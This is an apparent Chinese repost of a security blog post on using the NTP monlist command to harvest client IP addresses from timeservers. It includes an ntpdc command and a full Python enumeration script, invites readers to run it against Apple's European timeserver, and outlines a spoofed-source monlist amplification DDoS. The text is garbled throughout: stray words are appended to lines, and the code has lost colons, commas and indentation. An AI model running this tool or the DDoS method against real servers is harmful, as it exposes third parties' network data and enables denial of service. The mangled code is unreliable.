Using NTP to Enumerate Client IPs

轉自:https://www.securepla.net/using-ntp-to-enumerate-client-ips/ node

惋惜我如今沒時間學習python,代碼看不懂,悲劇!python

 

THE NTP ISSUE [PDF Version Here] app

The buzz around the internets lately has been about NTP. Security researchers, such as HD Moore, have been doing extensive investigation on the 「features」 of NTP. HD Moore discovered that, by default, NTP servers allow you to query them for additional information. Some of the basic queries were listpeers, show peers, peers, sysstat, and most important monlist.dom

Monlist is used as a diagnostic tool to provide the user the last 600 IP addresses of clients who queried that NTP server. What does this mean? This means with a single request, you can get a good feel of all the IPs in a network. Also, if there is an NTP server in the DMZ, an external attacker could potentially get the internal IPs.socket

FYI: I haven’t been successful with attacking Windows version of NTP.ide

SO WHAT’S THE TRICK:post

You can install the NTP client on your favorite nix and run:學習

ntpdc -n -c monlist <ip address>fetch

But this seems to only work half of the time. It seems as sometimes the sequence numbers get messed up and it crashes. You can use the new auxiliary tool from metasploit (ntp_monlist) or sensepost’s python tool, but both those have issues due to payloads that do not support version 3 of ntp. They only support version 2. The best tool is included called ntp_ip_enum.txt (click to view) which is a version of the sensepost script that I had modified the payloads allowing both NTP version 2 and version 3.this

COMMAND: NTP_IP_ENUM.TXT

./ntp_ip_enum.py <ip_address of a NTP server> <optional another ip_address of a different NTP server>

When this is complete, an output file is created in the directory where the ntp_ip_enum script was run labeled NTP.txt. This will include the clients that have connected to that NTP server within the last 5 minutes or last 600 requests.

Give it a try:

./ntp_ip_enum.py time.euro.apple.com

This will give you a list of clients that have recently contacted Apple’s Europe timeserver. Wowzers!

SCRAPING THE INTERNETS NTP

MAPPING TIME.EURO.APPLE.COM

So I took the entire client IP’s listed from time.euro.apple.com and plotted them against Google earth. This gave us some interesting views on which countries use Apple laptops and which do not.

Apple's EURO NTP Server

 

THE FIX

This could have all been averted by not allowing external users to query these types of commands. Monlist is usually used for debugging but should only be allowed locally.

ADDITIONAL ATTACKS

HD Moore also discussed that he had figured out a way to DDoS a system using NTP with very minimal requests. Although he has not released data on this type of DDoS, we put our heads together here on what the attack could be. When you make a monlist request, you send 1 udp packet to the NTP server and 600+ responses are returned. We think that using this request against all the NTP servers and peers, you could send hundreds of thousands of UDP packets to a victim with minimal request packets. By spoofing the source address and requesting monlists repetitively, all responses from those NTP servers will be forwarded to the victim.

 

 

   
   
   
   
  1. #!/usr/bin/env python 
  2. """ 
  3. Basic script to pull addresses from a NTP server using the monlist command. Can also output Maltego resultset. 
  4.  
  5. Gert Burger <gert A@T sensepost.com> 
  6. SensePost (Pty) Ltd 
  7. www.sensepost.com 
  8.  
  9. This work is licensed under the Creative Commons Attribution 2.5 South Africa License available at http://creativecommons.org/licenses/by/2.5/za/ 
  10.  
  11. Edited by SECUREPLA.NET 
  12. """ 
  13. from struct import unpack, pack 
  14. import socket 
  15. import select 
  16. import sys 
  17. import string 
  18.  
  19. OUTPUT_FORMAT='normal'  #'maltego' for maltego xml or any other string for normal output  
  20. DEBUG=False             #Enables basic debug info 
  21. TIMEOUT=2               #Read timeout in seconds 
  22. TRIES=3                 #Number of times to do the monlist request 
  23. filename="NTP.txt" 
  24.  
  25.  
  26. def int_ip_to_str(ip_num): 
  27.     return socket.inet_ntoa(pack('!L', ip_num)) 
  28.  
  29. def str_ip_to_int(ip): 
  30.     return unpack('!L',socket.inet_aton(ip)) 
  31.  
  32. def get_payload(): 
  33.     return """\x17\x00\x02\x2a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""" 
  34.  
  35. def parse_monlist_packet(data): 
  36.     result = dict(response=False, more=False, error=None, records=[]) 
  37.  
  38.     if len(data) < 8
  39.         result['error'] = 'NO_HEADER' 
  40.         return result 
  41.  
  42.     ntp_flags, ntp_auth, ntp_vers, ntp_req_code, num_items, item_size  = unpack('!BBBBHH', data[0:8]) 
  43.     data = data[8:] 
  44.  
  45.     result['response'] = ntp_flags & (1 << 7) > 0 
  46.     result['more'] = ntp_flags & (1 << 6) > 0 
  47.  
  48.     if not result['response']: #Return if its a request 
  49.         result['error'] = "REQUEST_PACKET" 
  50.     elif ntp_req_code == 42#Check if its a monlist packet 
  51.         if DEBUG: print "item_size[%s] \tnum_items[%s] \tlen(data)[%s]" % (item_size, num_items, len(data)) 
  52.  
  53.         if item_size != 32
  54.             result['error'] = "WRONG_ITEM_SIZE" 
  55.         elif num_items < 1
  56.             result['error'] = "WRONG_ITEM_COUNT" 
  57.         elif len(data) < num_items*item_size: 
  58.             result['error'] = "SHORT_PACKET" 
  59.         else
  60.             for offset in range(0, num_items*item_size, item_size): 
  61.                 parts = unpack('!IIIIIIII', data[offset:offset+item_size]) 
  62.                 ip = int_ip_to_str(parts[4]) 
  63.                 port = parts[7
  64.                 result['records'].append((ip, port)) 
  65.     else
  66.         result['error'] = "WRONG_REQUEST_CODE" 
  67.  
  68.     return result 
  69.  
  70. def fetch(ntp_server, timeout=5): 
  71.     def send_payload(sock, target): 
  72.         data = get_payload() 
  73.         bytes_sent = sock.sendto(data, (target, 123)) 
  74.         if bytes_sent != len(data) and DEBUG: 
  75.             print "Failed to send payload" 
  76.  
  77.     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
  78.     sock.bind(('0.0.0.0'0)) 
  79.  
  80.     send_payload(sock, ntp_server) 
  81.  
  82.     results = set() 
  83.     count = 0 
  84.     while True
  85.         rlist, wlist, xlist = select.select([sock], [], [], TIMEOUT) 
  86.         if sock in rlist: 
  87.             data, addr = sock.recvfrom(1024
  88.             ret = parse_monlist_packet(data) 
  89.             if ret['error']: 
  90.                 if DEBUG: print "Error parsing packet[%s]" % ret['error'
  91.             else
  92.                 results.update([x[0for x in ret['records']]) 
  93.         else
  94.             count += 1 
  95.             if count >= TRIES: 
  96.                 break 
  97.             send_payload(sock, ntp_server) 
  98.  
  99.     return list(results) 
  100.  
  101.  
  102. def print_maltego(results): 
  103.     from xml.dom.minidom import Document 
  104.     doc = Document() 
  105.     mm = doc.createElement('MaltegoMessage'
  106.     doc.appendChild(mm) 
  107.     mtrm = doc.createElement('MaltegoTransformResponseMessage'
  108.     mm.appendChild(mtrm) 
  109.     entities = doc.createElement('Entities'
  110.     mtrm.appendChild(entities) 
  111.  
  112.     for result in results: 
  113.         entity = doc.createElement('Entity'
  114.         entity.setAttribute('Type''IPAddress'
  115.  
  116.         value = doc.createElement('Value'
  117.         value_node = doc.createTextNode(result) 
  118.  
  119.         value.appendChild(value_node) 
  120.         entity.appendChild(value) 
  121.         entities.appendChild(entity) 
  122.  
  123.     output = doc.toxml() 
  124.     print output[output.index("<Maltego"):] # Hack to rip out <? xml ?> so that maltego can function 
  125.  
  126.  
  127. if __name__ == '__main__'
  128.     if len(sys.argv) > 1
  129.         targets = sys.argv[1:]   
  130.     else
  131.         print "Usage: %s target ntp servers\n\nThis script will return a unique set of IP's obtained from the list of ntp servers via the monlist command" % sys.argv[0
  132.         sys.exit(-1
  133.  
  134.     results = set() 
  135.     for target in targets: 
  136.         results.update(fetch(target)) 
  137.     results = sorted(results, key=str_ip_to_int) 
  138.  
  139.     if str(OUTPUT_FORMAT).lower() == 'maltego'
  140.         print_maltego(results) 
  141.     else
  142.     FILE = open(filename,"a"
  143.     FILE.writelines("-------------------------------NTP List------------------------------"
  144.     FILE.writelines("\n"
  145.     FILE.writelines("Target host: "
  146.     FILE.writelines(targets) 
  147.     FILE.writelines("\n"
  148.     #print "\n".join(results) 
  149.     FILE.writelines("\n".join(results)) 
  150.     FILE.writelines("\n")         
  151.     FILE.writelines("Number of results %s" % len(results)) 
  152.     print "Completed.  Check NTP.txt" 
  153.  
  154. #spidermark sensepostdata ntp_monlist.py
相關文章
相關標籤/搜索